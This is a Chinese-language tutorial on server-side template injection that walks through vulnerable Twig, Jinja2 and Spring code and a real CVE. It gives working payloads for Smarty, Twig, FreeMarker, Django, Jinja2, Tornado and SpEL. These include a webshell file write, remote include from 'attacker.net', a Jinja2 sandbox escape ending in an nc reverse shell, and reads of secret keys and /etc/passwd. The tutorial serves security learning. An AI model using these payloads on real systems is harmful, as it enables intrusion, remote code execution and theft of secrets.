啥也不用說了 先上圖
需要注意的地方是 Jinja2 在傳入{{7*'7'}后,結果為7777777,而Twig結果為49
對模版的判別可以使用工具tplmap
,用法類似sqlmap
,同樣是基於python實現的
之后下面的分析轉自大佬的文章:一篇文章帶你理解漏洞之SSTI漏洞 可以說是寫的非常非常詳細了,膜拜大佬
0X00 前言
這是“一篇文章帶你理解漏洞”系列的第一篇文章,漏洞沒有特定的介紹順序,寫作的目的主要是希望能將整個漏洞的框架完整的搭建起來(框架也就是所謂的前因后果->縱向,類比遷移->橫向,探尋方法->技巧),而不是對漏洞的某一方面的簡單陳述,我認為在沒有完整的漏洞框架的基礎上去單純地學習怎么利用這種漏洞是沒有意義的。
0X01 什么是注入
看之前先記住一句話:注入就是格式化字符串漏洞的一種體現
我們都知道,在01 的世界里,很多的漏洞都能歸結為格式化字符串漏洞(不管是二進制還是web),二進制中我們能通過格式化字符串漏洞覆蓋返回地址等,web中 SQL 注入就是一個非常好的例子,我們在開發者本來認為我們應該插入正常數據的地方插入了sql語句,這就破壞了原本的SQL 語句的格式,從而執行了與原句完全不同含義的SQL 語句達到了攻擊者的目的,同理 XSS 在有些情況下的閉合標簽的手法也是利用了格式化字符串這種思想,總之,凡是出現注入的地方就有着格式化字符串的影子。
0X02 什么是模板注入
SSTI (服務器端模板注入)也是格式化字符串的一個非常好的例子,如今的開發已經形成了非常成熟的 MVC 的模式,我們的輸入通過 V 接收,交給 C ,然后由 C 調用 M 或者其他的 C 進行處理,最后再返回給 V ,這樣就最終顯示在我們的面前了,那么這里的 V 中就大量的用到了一種叫做模板的技術,這種模板請不要認為只存在於 Python 中,感覺網上講述的都是Python 的 SSTI ,在這之前也給了我非常大的誤導(只能說自己沒有好好研究,淺嘗輒止),請記住,凡是使用模板的地方都可能會出現 SSTI 的問題,SSTI 不屬於任何一種語言,沙盒繞過也不是,沙盒繞過只是由於模板引擎發現了很大的安全漏洞,然后模板引擎設計出來的一種防護機制,不允許使用沒有定義或者聲明的模塊,這適用於所有的模板引擎。
0X03 常見的模板引擎
1.php 常用的
Smarty
Smarty算是一種很老的PHP模板引擎了,非常的經典,使用的比較廣泛
Twig
Twig是來自於Symfony的模板引擎,它非常易於安裝和使用。它的操作有點像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一個既簡單又強大的模板引擎。
和其他流行的 PHP 模板引擎不一樣,Blade 並不限制你在視圖中使用原生 PHP 代碼。所有 Blade 視圖文件都將被編譯成原生的 PHP 代碼並緩存起來,除非它被修改,否則不會重新編譯,這就意味着 Blade 基本上不會給你的應用增加任何額外負擔。
2.Java 常用的
JSP
這個引擎我想應該沒人不知道吧,這個應該也是我最初學習的一個模板引擎,非常的經典
FreeMarker
FreeMarker是一款模板引擎: 即一種基於模板和要改變的數據, 並用來生成輸出文本(HTML網頁、電子郵件、配置文件、源代碼等)的通用工具。 它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
Velocity
Velocity作為歷史悠久的模板引擎不單單可以替代JSP作為Java Web的服務端網頁模板引擎,而且可以作為普通文本的模板引擎來增強服務端程序文本處理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起說的,使用非常的廣泛,是我學習的第一個模板引擎
django
django 應該使用的是專屬於自己的一個模板引擎,我這里姑且就叫他 django,我們都知道 django 以快速開發著稱,有自己好用的ORM,他的很多東西都是耦合性非常高的,你使用別的就不能發揮出 django 的特性了
tornado
tornado 也有屬於自己的一套模板引擎,tornado 強調的是異步非阻塞高並發
4.注意:
同一種語言不同的模板引擎支持的語法雖然很像,但是還是有略微的差異的,比如
tornado render() 中支持傳入自定義函數,以及函數的參數,然后在兩個大括號
{{}}
中執行,但是 django 的模板引擎相對於tornado 來說就相對難用一些(當然方便永遠和安全是敵人)
0X04 SSTI 怎么產生的
服務端接收了用戶的惡意輸入以后,未經任何處理就將其作為 Web 應用模板內容的一部分,模板引擎在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,因而可能導致了敏感信息泄露、代碼執行、GetShell 等問題.
補充:
單純的字符串拼接並不能帶來注入問題,關鍵要看你拼接的是什么,如果是控制語句,就會造成數據域與代碼域的混淆,這樣就會出洞
當然,這種情況一般不屬於模板引擎的問題,大多數原因都是開發者並沒有很好的處理,比如下面的php 代碼
1.PHP 實例
示例PHP代碼1:
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 將用戶輸入作為模版變量的值
echo $output;
這段代碼明顯沒有什么問題,用戶的輸入到時候渲染的時候就是 name 的值,由於name 外面已經有
{{}}
了,也就是說,到時候顯示的只是name 變量的值,就算你輸入了
{{xxx}}
輸出也只是
{{xxx}}
而不會將xxx 作為模板變量解析
但是有些代碼就是不這么寫,比如下面這段代碼
示例PHP代碼2:
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 將用戶輸入作為模版內容的一部分
echo $output;
你看,現在開發者將用戶的輸入直接放在要渲染的字符串中了
**注意:不要把這里的
{}
當成是模板變量外面的括號,這里的括號實際上只是為了區分變量和字符串常量而已**,於是我們輸入
{{xxx}}
就非常的符合模板的規則,模板引擎一高興就給解析了,然后服務器就涼了。
這里演示的是PHP 的代碼,使用的是 Twig 模板引擎,下面我們看一下 python 的 jinja2
2.Python 實例
實例一:
示例Python代碼1:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
這是一段經典的 flask 源碼,@app.errorhandler(404) 這一部分是裝飾器,用於檢測404用的,和最后的 ,404呼應的,這與我們這次的測試無關
我們看到,這里本身開發者並沒有打算用到什么模板語法,就是使用了一個字符串的格式化來傳遞一個 url ,但是你別忘了你還是用模板的方式去渲染的啊,也就是說還是支持模板引擎支持的語法,那我們為什么不能輸入模板引擎的語法呢?(永遠不要相信用戶的輸入)
於是我們就能在URL后面跟上
{{ 7+7 }}
自然而然就能計算出 49 了
實例二:
示例Python代碼2:
# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
和上面一樣,還是格式化字符串,讀者可以自己思考並嘗試
說了 Python 和 PHP 當然不能少了最重要的 JAVA
3.JAVA 實例:
實例一:
漏洞分析:https://paper.seebug.org/70/
作者挖掘記錄:https://secalert.net/#cve-2016-4977
這個漏洞相對於前面的就顯得很神奇了,我下面簡單的說一下,想看詳細的可以看上面的鏈接:
漏洞淺析:
我們訪問這個URL 的時候會報錯並在頁面上輸出 K0rz3n
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=K0rz3n
為什么會報錯呢?因為K0rz3n 並不符合 redirect_uri 的格式規范
但當我們請求下面這個URL 的時候
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
同樣會報錯,但是非常奇怪的是,我們的
${}
表達式居然被執行了,輸出了 2333,模板注入實錘了,我們來看一下代碼,分析一下
路徑:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\WhitelabelErrorEndpoint.java
WhitelabelErrorEndpoint.java
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {
private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>"; //這里是我們的字符串模板
@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);//通過模板渲染
}
}
我們看到,當拿到錯誤信息以后,就交給了 SpelView(),我們跟進去看一下
路徑:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\SpelView.java
SpelView.java
class SpelView implements View {
...
public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {//這里相當於是去一層${}
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
...
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);//replacePlaceholders是一個遞歸調用,能將第二個參數的${} 中的值取出來,不管有多少層括號
...
}
}
resolver 這個參數是經過遞歸的去
${}
處理的,不信我們看一下 replacePlaceholders()
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "'properties' must not be null");
return replacePlaceholders(value, new PlaceholderResolver() {
@Override
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}
很明顯這里面遞歸調用了replacePlaceholders() 函數,最終能得到單純的表達式,然后渲染的時候放在
${}
就執行了。
實例二:
在2015年的blackhat 大會上曾講述了Alfresco 的一個 SSTI 漏洞,不過很遺憾我沒有找到源碼,沒能親自分析,只能拿來payload 分析一下。
實例代碼:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
結果:
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
解釋:
https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_new
經過我查閱上述freemarker 的文檔,這里面的 ?new() 是其高級內置函數
用法如下:
<# - 創建一個用戶定義的指令,調用類的參數構造函數 - >
<#assign word_wrapp =“com.acmee.freemarker.WordWrapperDirective”?new()>
<# - 創建一個用戶定義的指令,用一個數字參數調用構造函數 - >
<#assign word_wrapp_narrow =“com.acmee.freemarker.WordWrapperDirective”?new(40)>
相當於是,調用了構造函數創建了一個對象,那么這個 payload 中就是調用的 freemarker 的內置執行命令的對象 Excute
0X05 檢測方法
同常規的 SQL 注入檢測,XSS 檢測一樣,模板注入漏洞的檢測也是向傳遞的參數中承載特定 Payload 並根據返回的內容來進行判斷的。每一個模板引擎都有着自己的語法,Payload 的構造需要針對各類模板引擎制定其不同的掃描規則,就如同 SQL 注入中有着不同的數據庫類型一樣。
簡單來說,就是更改請求參數使之承載含有模板引擎語法的 Payload,通過頁面渲染返回的內容檢測承載的 Payload 是否有得到編譯解析,有解析則可以判定含有 Payload 對應模板引擎注入,否則不存在 SSTI。
示意圖如下:
注意:有的時候出現 XSS 的時候,也有可能是 SSTI 漏洞,雖說模板引擎在大多數情況下都是使用的xss 過濾的,但是也不排除有些意外情況的出現,比如
有的模板引擎(比如 jinja2)在渲染的時候默認只針對特定的文件后綴名的文件(html,xhtml等)進行XSS過濾
這里提供一個大牛寫的 SSTI 的檢測工具 https://github.com/epinna/tplmap
0X06 攻擊思路
1.攻擊方向:
找到模板注入主要從三個方向進行攻擊
(1)模板本身
(2)框架本身
(3)語言本身
(4)應用本身
2.攻擊方法:
我們知道 SSTI 能夠造成很多種危害,包括 敏感信息泄露、RCE、GetShell 等,關鍵就在於如何才能利用這個注入點執行我們想執行的代碼,那么我們尋找利用點的范圍實際上就是在我們上面的四個地方,一個是模板本身支持的語法、內置變量、屬性、函數,還有就是純粹框架的全局變量、屬性、函數,然后我們考慮語言本身的特性,比如 面向對象的內省機制,最最最后我們無能為力的時候才考慮怎么尋找應用定義的一些東西,因為這個是幾乎沒有文檔的,是開發者的自行設計,一般需要拿到應用的源碼才能考慮,於是我將其放在最后一個
注意:
在這種面向對象的語言中,獲取父類這種思想要貫穿始終,理論基礎就是 Python 的魔法方法 PHP 的自省 JAVA 的反射 機制
1.利用模板本身的特性進行攻擊
1.Smarty
Smarty是最流行的PHP模板語言之一,為不受信任的模板執行提供了安全模式。這會強制執行在 php 安全函數白名單中的函數,因此我們在模板中無法直接調用 php 中直接執行命令的函數(相當於存在了一個disable_function)
但是,實際上對語言的限制並不能影響我們執行命令,因為我們首先考慮的應該是模板本身,恰好 Smarty 很照顧我們,在閱讀模板的文檔以后我們發現:$smarty內置變量可用於訪問各種環境變量,比如我們使用 self 得到 smarty 這個類以后我們就去找 smarty 給我們的好用的方法
github 中明確指出,這個方法可以獲取傳入變量的流(說人話就是讀文件)
payload:
{self::getStreamVariable("file:///proc/self/loginuid")}
再比如:class Smarty_Internal_Write_File
有了上面的讀文件當然要找一個寫文件的了,這個類中有一個writeFile方法
函數原型:
public function writeFile($_filepath, $_contents, Smarty $smarty)
但是這個第三個參數是一個 Smarty 類型,后來找到了 self::clearConfig()
函數原型:
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
能寫文件對攻擊者真的是太有利了,一般不出意外能直接 getshell
payload:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
2.Twig
相比於 Smarty ,Twig 無法調用靜態方法,並且所有函數的返回值都轉換為字符串,也就是我們不能使用 self::
調用靜態變量了,但是 通過官方文檔的查詢
如下圖所示:
Twig 給我們提供了一個 _self
, 雖然 _self
本身沒有什么有用的方法,但是卻有一個 env
如下圖所示:
env是指屬性Twig_Environment對象,Twig_Environment對象有一個 setCache方法可用於更改Twig嘗試加載和執行編譯模板(PHP文件)的位置(不知道為什么官方文檔沒有看到這個方法,后來我找到了Twig 的源碼中的 environment.php
如下圖所示:
因此,明顯的攻擊是通過將緩存位置設置為遠程服務器來引入遠程文件包含漏洞:
payload:
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}
但是新的問題出現了,allow_url_include 一般是不打開的,沒法包含遠程文件,沒關系還有個調用過濾器的函數 getFilter()
這個函數中調用了一個 call_user_function 方法
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意這行
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我們只要把exec() 作為回調函數傳進去就能實現命令執行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
3.freeMarker
這個模板主要用於 java ,在上面我舉例 java 的 SSTI 的時候我已經簡答的分析過這個的一個 payload,我希望讀者也能按照 查找文檔,查看框架源碼,等方式尋找這個 payload 的思路來源
payload:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
2.利用框架本身的特性進行攻擊
因為這里面的摸吧模板似乎都是內置於框架內的,於是我就將其放在利用框架這一節
1.Django
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
注入點很明顯就是 email,但是如果我們的能力已經被限制的很死,很難執行命令,但又想獲取和 User 有關的配置信息的話,我么怎么辦?
可以發現我們現在拿到的只有有一個 和user 有關的變量,那就是 request user ,那我們的思路是什么?
p牛在自己的博客中分享了這個思路,我把它引用過來:
Django是一個龐大的框架,其數據庫關系錯綜復雜,我們其實是可以通過屬性之間的關系去一點點挖掘敏感信息。但Django僅僅是一個框架,在沒有目標源碼的情況下很難去挖掘信息,所以我的思路就是:去挖掘Django自帶的應用中的一些路徑,最終讀取到Django的配置項
什么意思,簡單地說就是我們在沒有應用源碼的情況下要學會去尋找框架本身的屬性,看這個空框架有什么屬性和類之間的引用,然后一步一步的靠近我們的目標
后來我們發現,經過翻找,我發現Django自帶的應用“admin”(也就是Django自帶的后台)的models.py中導入了當前網站的配置文件:
如下圖:
所以,思路就很明確了:我們只需要通過某種方式,找到Django默認應用admin的model,再通過這個model獲取settings對象,進而獲取數據庫賬號密碼、Web加密密鑰等信息。
payload:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2.Flask/Jinja2
config 是Flask模版中的一個全局對象,它代表“當前配置對象(flask.config)”,它是一個類字典的對象,它包含了所有應用程序的配置值。在大多數情況下,它包含了比如數據庫鏈接字符串,連接到第三方的憑證,SECRET_KEY等敏感值。雖然config是一個類字典對象,但是通過查閱文檔可以發現 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。
如圖所示:
這里我們利用 from_pyfile 和 from_object 來命令執行,下面是這兩個函數的源代碼(為了閱讀清晰,注釋我刪除了)
源碼:
def from_pyfile(self, filename, silent=False):
filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
def from_object(self, obj):
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
簡單的解釋一下這個方法:
這個方法將傳入的文件使用 compile() 這個python 的內置方法將其編譯成字節碼(.pyc),並放到 exec() 里面去執行,注意最后一個參數 d.__dict__
翻閱文檔發現,這個參數的含義是指定 exec 執行的上下文,
如圖所示:
我們簡單的模擬一下看一下效果
如圖所示:
執行的代碼片段被放入了 d.__dict__
中,這看似沒設么用,但是神奇的是后面他調用了 from_object() 方法,根據源碼
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
這個方法會遍歷 Obj 的 dict 並且找到大寫字母的屬性,將屬性的值給 self[‘屬性名’],所以說如果我們能讓 from_pyfile 去讀這樣的一個文件
from os import system
SHELL = system
到時候我們就能通過 config[‘SHELL’] 調用 system 方法了
那么文件怎么寫入呢?Jinja2 有沙盒機制,我們必須通過繞過沙盒的方式寫入我們想要的文件,具體的沙盒繞過可以參考我的一篇博文[python 沙盒逃逸備忘](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸備忘/)
最終的 payload:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//寫文件
{{ config.from_pyfile('/tmp/evil') }}
//加載system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//執行命令反彈SHELL
3.Tornado
寫文章的時候正巧趕上護網杯出了一道 tornado 的 SSTI 於是這里也作為一個比較好的例子給大家說明
根據提示這道題的意思就是通過SSTI 獲取 cookie_secret,但是這里過濾了很多東西
"%'()*-/=[\]_|
甚至把_(下划線)都過濾了,也就是說我們沒法通過Python 的魔法方法進行沙盒逃逸執行命令,並且實際上對我們的尋找合適的 tornado 的內置的方法也有很多的限制。
我覺得除了直接閱讀官方的文檔,還有一個重要的方法就是直接下載 tornado 的框架源碼,全局搜索 cookie_secret
如下圖:
你會發現 cookie_secret 是handler.application.settings 的鍵值,那我們只要獲取到這個對象是不是就可以了,沒錯,那么 handler 是什么,看官方文檔,我特地看一下模板的對框架的語法支持(因為,模板中有一些內置的對象等同於框架中的對象,但是一般為了方便書寫前段就會給一個比較簡單的名字,就比如 JSP 的 request 內置對象實際上對應着 servlet 中的 HttpServletRequest )
如下圖所示:
這里明確寫着 handler 對應的就是 RequestHandler,那么也就是說,我們可以使用 handler 調用 RequestHandler 的方法,我們還是看官方文檔
如下圖所示:
很清楚,我么看到 RequestHandler.settings 是 self.application.settings 的別名,等等! 有沒有覺得有些似曾相識?對啊,這不就是我們之前在框架源碼中找到的那個東西嗎,也就是說我們能直接通過 handler.settings 訪問到 我們朝思暮想的 cookie_secret ,至此我的分析就結束了。
payload:
http://117.78.26.79:31093/error?msg={{handler.settings}}
2.利用模語言本身的特性進行攻擊
1.Python
Python 最最經典的就是使用魔法方法,這里就涉及到Python沙盒繞過了,前面說過,模板的設計者也發現了模板的執行命令的特性,於是就給模本增加了一種沙盒的機制,在這個沙盒中你很難執行一般我們能想到函數,基本都被禁用了,所以我們不得不使用自省的機制來繞過沙盒,具體的方法就是在我的[一篇博文](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸備忘/)中
2.JAVA
java.lang包是java語言的核心,它提供了java中的基礎類。包括基本Object類、Class類、String類、基本類型的包裝類、基本的數學類等等最基本的類
如下圖所示:
有了這個基礎我們就能想到這樣的payload
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
當然要是文件操作就要用另外的類了,思路是不變的
payload:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
注意:
這里面的 T() 是 EL 的語法規定(比如 Spring 框架的 EL 就是 SPEL)
0X07 防御方法
(1)和其他的注入防御一樣,絕對不要讓用戶對傳入模板的內容或者模板本身進行控制
(2)減少或者放棄直接使用格式化字符串結合字符串拼接的模板渲染方式,使用正規的模板渲染方法
0X08 總結:
這篇文章對 SSTI 的介紹和分析就告一段落了,由於個人水平有限,篇幅有限,也無法將再多的細節呈現給大家,如果你能在讀我的文章中有於讀別人的文章不一樣的收獲,那將是我莫大的榮幸,如果沒有那說明我的知識儲備或者是表達能力還有所欠缺,我會在后面的文章中改進。
參考鏈接
https://portswigger.net/blog/server-side-template-injection
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
http://www.freebuf.com/articles/system/97146.html
http://www.freebuf.com/articles/web/98619.html
https://secalert.net/#cve-2016-4977
http://www.mamicode.com/info-detail-1304795.html
https://freemarker.apache.org/docs/ref_builtins_expert.html
http://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/
https://www.cnblogs.com/tyomcat/p/5440488.html
http://deadpool.sh/2017/RCE-Springs/
http://klaus.link/2017/Flask_SSTI/
https://www.cnblogs.com/zedosu/p/6518124.html